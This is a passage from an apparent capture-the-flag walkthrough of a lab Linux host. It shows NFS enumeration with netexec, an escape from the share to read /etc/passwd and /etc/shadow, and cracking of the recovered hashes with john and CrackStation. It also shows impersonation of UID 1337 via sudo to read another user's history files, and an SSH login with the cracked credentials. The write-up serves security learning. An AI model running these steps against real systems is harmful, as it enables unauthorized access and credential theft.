|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      42414/udp6  mountd
|   100005  1,2,3      48479/tcp6  mountd
|   100005  1,2,3      48491/tcp   mountd
|   100005  1,2,3      52599/udp   mountd
|   100021  1,3,4      39407/udp   nlockmgr
|   100021  1,3,4      44675/tcp6  nlockmgr
|   100021  1,3,4      46397/tcp   nlockmgr
|   100021  1,3,4      54499/udp6  nlockmgr
|   100024  1          50524/udp6  status
|   100024  1          56576/udp   status
|   100024  1          59135/tcp   status
|   100024  1          60369/tcp6  status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)
40553/tcp open  mountd   1-3 (RPC #100005)
46397/tcp open  nlockmgr 1-4 (RPC #100021)
48491/tcp open  mountd   1-3 (RPC #100005)
56923/tcp open  mountd   1-3 (RPC #100005)
59135/tcp open  status   1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
</span></code></pre></div></div>

<p>Based on the <a href="/cheatsheets/os#ubuntu">OpenSSH version</a>, the host is likely running Ubuntu 22.04 jammy LTS (or potentially 22.10 kinetic).</p>

<p>All of the ports show a TTL of 63, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Linux one hop away.</p>

<h3 id="nfs---tcp-2049">NFS - TCP 2049</h3>

<h4 id="list-shares">List Shares</h4>

<p><code class="language-plaintext highlighter-rouge">showmount -e</code> will list the available mounts (shares) over NFS:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>showmount <span class="nt">-e</span> 10.129.234.160
<span class="go">Export list for 10.129.234.160:
/var/backups *
/home        *
</span></code></pre></div></div>

<p>There are two. <code class="language-plaintext highlighter-rouge">netexec</code> will show this as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--enum-shares</span>
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-logmessage">[*]</span><span class="go"> Enumerating NFS Shares Directories
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-logsuccess">[+]</span><span class="go"> /var/backups
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">UID        Perms    File Size      File Path                                     Access List</span><span class="err">
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">---        -----    ---------      ---------                                     -----------
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">0          r--      5.1MB          /var/backups/archive-2026-02-11T0155.zip      *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">0          r--      5.1MB          /var/backups/archive-2026-02-11T0152.zip      *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">0          r--      5.1MB          /var/backups/archive-2026-02-11T0153.zip      *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">0          r--      5.1MB          /var/backups/archive-2026-02-11T0156.zip      *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">0          r--      5.1MB          /var/backups/archive-2026-02-11T0151.zip      *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">0          r--      5.1MB          /var/backups/archive-2026-02-11T0154.zip      *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-logsuccess">[+]</span><span class="go"> /home
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">UID        Perms    File Size      File Path                                     Access List</span><span class="err">
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">---        -----    ---------      ---------                                     -----------
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      90.0B          /home/service/.bash_history                   *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      0B             /home/service/.cache/motd.legal-displayed     *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      326.0B         /home/service/.psql_history                   *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      807.0B         /home/service/.profile                        *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      3.7KB          /home/service/.bashrc                         *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      220.0B         /home/service/.bash_logout                    *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      96.0B          /home/service/.ssh/authorized_keys            *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      96.0B          /home/service/.ssh/id_ed25519.pub             *
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-shareenum">1337       r--      -              /home/service/.local/share/                   *
</span><span class="err">
</span></code></pre></div></div>

<p>It also lists the files in the shares, as well as highlights <code class="language-plaintext highlighter-rouge">root escape:True</code>. The netexec wiki has <a href="https://www.netexec.wiki/nfs-protocol/escape-to-root-file-system">a page on this</a>.</p>

<p>I’ll break out of the share using <code class="language-plaintext highlighter-rouge">netexec</code> and the <code class="language-plaintext highlighter-rouge">--ls</code> flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--ls</span> /
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logsuccess">[+]</span><span class="go"> Successful escape on share: /var/backups
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">UID        Perms  File Size     File Path</span><span class="err">
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">---        -----  ---------     ---------
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /.
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /..
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -rwx   7.0B          /bin
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /boot
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /dev
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /etc
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /home
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -rwx   7.0B          /lib
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -rwx   9.0B          /lib32
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -rwx   9.0B          /lib64
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -rwx   10.0B         /libx32
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          d---   16.0KB        /lost+found
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /media
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /mnt
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /opt
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /proc
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          d---   4.0KB         /root
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /run
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -rwx   8.0B          /sbin
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /snap
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /srv
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /sys
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /tmp
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /usr
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /var
</span></code></pre></div></div>

<h4 id="etc">etc</h4>

<p>There are a handful of interesting things to find over the NFS share. I’ll grab a copy of <code class="language-plaintext highlighter-rouge">passwd</code> and <code class="language-plaintext highlighter-rouge">shadow</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--get-file</span> /etc/passwd passwd
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> Downloading /etc/passwd to passwd
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   File successfully downloaded from /etc/passwd to passwd
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--get-file</span> /etc/shadow shadow
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> Downloading /etc/shadow to shadow
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   File successfully downloaded from /etc/shadow to shadow
</span></code></pre></div></div>

<p>The only users with shells set in <code class="language-plaintext highlighter-rouge">passwd</code> are root and postgres:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
</span></code></pre></div></div>

<p>I’ll also note the service user:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>passwd | <span class="nb">grep </span>service
<span class="go">service:x:1337:1337:,,,,default password:/home/service:/bin/false
</span></code></pre></div></div>

<p>They have user ID 1337, and their shell is set to <code class="language-plaintext highlighter-rouge">/bin/false</code>, which will block logging in over SSH.</p>

<p>The only users with passwords are root and service:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span><span class="nb">cat </span>shadow | <span class="nb">grep</span> <span class="s1">'\$'</span>
<span class="go">root:$y$j9T$nHJOa2A9rTXPQi3rqjrDI/$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf.4nue0pZe3:19654:0:99999:7:::
service:$y$j9T$4gRKP9kqW6NvhFfcFU2mL/$KT6bU.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7:19654:0:99999:7:::
</span></code></pre></div></div>

<p>I’ll go into why I can read <code class="language-plaintext highlighter-rouge">shadow</code> but not <code class="language-plaintext highlighter-rouge">root.txt</code> in <a href="#beyond-root">Beyond Root</a>. These hashes are yescrypt, and <code class="language-plaintext highlighter-rouge">hashcat</code> doesn’t easily do them, but <code class="language-plaintext highlighter-rouge">john</code> does:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>john <span class="nt">--wordlist</span><span class="o">=</span>./rockyou.txt ./shadow.hashes 
<span class="go">Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [0:unknown 1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt 7:scrypt 10:yescrypt 11:gost-yescrypt]) is 10 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: Passwords longer than 24 [worst case UTF-8] to 72 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
service          (?)     
1g 0:00:01:02 0.09% (ETA: 18:17:41) 0.01612g/s 261.6p/s 410.1c/s 410.1C/s bored..michelle13
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
</span></code></pre></div></div>

<p>It cracks in less than a minute (it won’t be able to crack the root password).</p>

<p>The NFS shares are configured in <code class="language-plaintext highlighter-rouge">/etc/exports</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/home                  *(ro,root_squash,sync,no_subtree_check)
/var/backups           *(ro,root_squash,sync,no_subtree_check)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">no_subtree_check</code> is what allows escaping the share boundary to read the entire file system. <code class="language-plaintext highlighter-rouge">root_squash</code> means that I can’t impersonate the root user (which makes sense as then this box would be over).</p>

<h4 id="home-directories">Home Directories</h4>

<p>There’s only service with a home directory in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--ls</span> /home
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logsuccess">[+]</span><span class="go"> Successful escape on share: /var/backups
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">UID        Perms  File Size     File Path</span><span class="err">
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">---        -----  ---------     ---------
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /home/.
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /home/..
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       d---   4.0KB         /home/service
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--ls</span> /home/service
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logsuccess">[+]</span><span class="go"> Successful escape on share: /var/backups
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">UID        Perms  File Size     File Path</span><span class="err">
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">---        -----  ---------     ---------
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       dr--   4.0KB         /home/service/.
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /home/service/..
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       -r--   90.0B         /home/service/.bash_history
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       -r--   220.0B        /home/service/.bash_logout
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       -r--   3.7KB         /home/service/.bashrc
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       dr--   4.0KB         /home/service/.cache
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       dr--   4.0KB         /home/service/.local
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       -r--   807.0B        /home/service/.profile
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       -r--   326.0B        /home/service/.psql_history
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">1337       dr--   4.0KB         /home/service/.ssh
</span></code></pre></div></div>

<p>Now I’ll mount the share:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>mount <span class="nt">-t</span> nfs 10.129.234.160:/home /mnt 
<span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cd</span> /mnt/
</code></pre></div></div>

<p>As oxdf (user ID 1000), I can’t access service’s home directory:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cd </span>service/
<span class="go">-bash: cd: service/: Permission denied
</span></code></pre></div></div>

<p>I can create a user, which I’ll name service, and make sure their user ID in <code class="language-plaintext highlighter-rouge">passwd</code> is 1337. Because of how NFS works, as service I can read files:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>su service
<span class="gp">$</span><span class="w"> </span>bash
<span class="gp">service@hacky:/mnt$</span><span class="w"> </span><span class="nb">cd </span>service
<span class="gp">service@hacky:/mnt/service$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 40
drwxr-x--- 5 service service_nfs 4096 Sep 22 12:46 .
drwxr-xr-x 3 root    root        4096 Oct 24  2023 ..
-rw-r--r-- 1 service service_nfs   90 Sep 22 12:46 .bash_history
-rw-r--r-- 1 service service_nfs  220 Oct 24  2023 .bash_logout
-rw-r--r-- 1 service service_nfs 3771 Oct 24  2023 .bashrc
drwx------ 2 service service_nfs 4096 Oct 24  2023 .cache
drwxrwxr-x 3 service service_nfs 4096 Oct 24  2023 .local
-rw-r--r-- 1 service service_nfs  807 Oct 24  2023 .profile
-rw-r--r-- 1 service service_nfs  326 Sep 22 12:46 .psql_history
drwxrwxr-x 2 service service_nfs 4096 Oct 24  2023 .ssh
</span></code></pre></div></div>

<p>But Claude actually taught me a slicker way, using <code class="language-plaintext highlighter-rouge">sudo</code>, and I don’t have to create the user:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-u</span> <span class="s1">'#1337'</span> <span class="nb">cat</span> /mnt/service/.bash_history
<span class="go">ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">.bash_history</code> file shows a socket in use by the Postgres process.</p>

<p><code class="language-plaintext highlighter-rouge">.ssh</code> has a public key, but no private key. The <code class="language-plaintext highlighter-rouge">.psql_history</code> file shows the creation of a user’s table:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-u</span> <span class="s1">'#1337'</span> <span class="nb">cat</span> /mnt/service/.psql_history
<span class="go">CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q
</span></code></pre></div></div>

<p>That’s an MD5 that’s immediately crackable in <a href="https://crackstation.net/">CrackStation</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260209203821971.webp" />
    <img loading="lazy" src="/img/image-20260209203821971.png" alt="image-20260209203821971" class="include_image " />
</picture>

<p>That matches what I found in <code class="language-plaintext highlighter-rouge">shadow</code>.</p>

<h4 id="backups">Backups</h4>

<p>The <code class="language-plaintext highlighter-rouge">/var/backups</code> directory was shared out as a NFS share, and it has backups created every minute:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--ls</span> /var/backups
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-logsuccess">[+]</span><span class="go"> Successful escape on share: /var/backups
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">UID        Perms  File Size     File Path</span><span class="err">
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">---        -----  ---------     ---------
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /var/backups/.
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          dr--   4.0KB         /var/backups/..
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0131.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0132.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0133.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0134.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0135.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0136.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0137.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0138.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160  48491  10.129.234.160   </span><span class="netexec-shareenum">0          -r--   4.5MB         /var/backups/archive-2026-02-10T0139.zip
</span></code></pre></div></div>

<p>These files are all owned by root, but they are world-readable so I can access them:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec nfs 10.129.234.160 <span class="nt">--get-file</span> /var/backups/archive-2026-02-10T0131.zip archive-2026-02-10T0131.zip
<span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-logmessage">[*]</span><span class="go"> Supported NFS versions: (3, 4) (</span><span class="netexec-logfail">root escape:True</span><span class="go">)
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     </span><span class="netexec-logmessage">[*]</span><span class="go"> Downloading /var/backups/archive-2026-02-10T0131.zip to archive-2026-02-10T0131.zip
</span><span class="netexec-protocol">NFS </span><span class="go">        10.129.234.160    41393  10.129.234.160     File successfully downloaded from /var/backups/archive-2026-02-10T0131.zip to archive-2026-02-10T0131.zip
</span></code></pre></div></div>

<p>The archive contains a backup of <code class="language-plaintext highlighter-rouge">/opt/backups/current</code> which looks like a backup of PostgreSQL (and is, using the <a href="https://www.postgresql.org/docs/current/app-pgbasebackup.html">PostgreSQL application</a> <code class="language-plaintext highlighter-rouge">pg_basebackup</code>). There’s nothing too interesting here.</p>

<h2 id="shell-as-postgres">Shell as postgres</h2>

<h3 id="create-tunnel-to-postgresql">Create Tunnel to PostgreSQL</h3>

<p>I got the creds for the service account, and they work:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec ssh 10.129.234.160 <span class="nt">-u</span> service <span class="nt">-p</span> service
<span class="netexec-protocol">SSH </span><span class="go">        10.129.234.160  22     10.129.234.160   </span><span class="netexec-logmessage">[*]</span><span class="go"> SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
</span><span class="netexec-protocol">SSH </span><span class="go">        10.129.234.160  22     10.129.234.160   </span><span class="netexec-logsuccess">[+]</span><span class="go"> service:service  Network Devices
</span></code></pre></div></div>

<p>If I try to connect, it just prints the connection message and then fails:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> service ssh service@10.129.234.160
<span class="go">@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
